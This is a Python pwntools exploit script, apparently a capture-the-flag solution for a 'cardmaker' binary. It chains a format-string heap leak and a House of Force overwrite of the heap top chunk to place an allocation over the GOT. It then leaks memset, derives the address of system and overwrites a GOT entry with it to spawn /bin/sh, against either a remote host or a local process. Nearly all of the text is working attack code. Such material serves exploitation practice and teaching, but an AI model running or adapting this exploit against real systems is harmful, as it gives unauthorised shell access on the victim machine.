#!/usr/bin/env python import sys from pwn import * port = 8080 strtol_addr = 0x6030B0 def add_card(frum, to, ip, port, border, length, data): r.sendline("1") r.recvuntil("Who is this card from?\n") r.sendline(frum) r.recvuntil("Who is this card going to?\n") r.sendline(to) r.recvuntil("What address and port should I send this to? (ip:port)\n") r.sendline("{}:{}".format(ip, port)) r.recvuntil("What border would you like around the card? (max of 2 chars)\n") r.sendline(border) r.recvuntil("How long is your message...?") r.sendline(length) r.recvuntil("What would you like your card to say? (end with 'done.' on its own line)\n") r.sendline(data) r.sendline("done.") r.recv() def delete_card(index): r.sendline("4") r.recvuntil("Which card do you want to delete: ") r.sendline(str(index)) def send_recv_card(): lr = listen(port=port, bindaddr=host) r.sendline("5") recvd = lr.readuntil("Cardmaker") lr.close() return recvd def list_card_contents(num): r.sendline("2") r.recvuntil("Which card do you want to print the fields of: ") r.sendline(str(num)) r.recvuntil("Contents: ") return r.recv() def exploit(): # Leak out addresses # -- rsi, rdx, rdx, r8, r9, [rsp ...] add_card("me", "you", host, port, "%X", "6", "hello") recvd = send_recv_card() # Parse out heap address from r9 # -- Luckily rsi, rdx, rdx, r8 are always 1, 1, 3, 1 bytes longs heap = int(recvd[recvd.index('\n')+7:recvd.index('400')], 16) & 0xFFFFF000 log.info("Got heap address 0x{:X}".format(heap)) # Overwrite the wilderness with -1 add_card("me", "you", host, port, "xx", " -10", p64(0)*3 + p64(2**64-1) + p64(0)*2) # Move the wilderness on top of the GOT # -- size = target - wilderness address - 16 target = strtol_addr wild = heap + 0x98 size = target - wild - 16 - 0x28 - 0x30 add_card("me", "you", host, port, "xx", " {}".format(size), "") # Leak out the original value of this GOT entry # This'll overwrite the GOT entry and corrupt it! So we make sure it's one we don't need anymore # -- First a dummy alloc that takes one out of a bin add_card("me", "you", host, port, "xx", "0", "") # Now this one will point to memset add_card("me", "you", host, port, "xx", "0", "") contents = list_card_contents(5) memset_addr = u64(contents[:6] + "\x00\x00") log.info("Found memset at 0x{:x}".format(memset_addr)) system_addr = memset_addr - 0x45f20 log.info("System should be at 0x{:x}".format(system_addr)) # Now next alloc will land on close delete_card(3) add_card("me", "you", host, port, "xx", "50", p64(system_addr)) r.sendline("/bin/sh") r.interactive() if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0]) if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) host = "aws ip" exploit() else: r = process(['./cardmaker'], env={"LD_PRELOAD":"libc-2.23.so"}) print util.proc.pidof(r) host = "0" pause() exploit()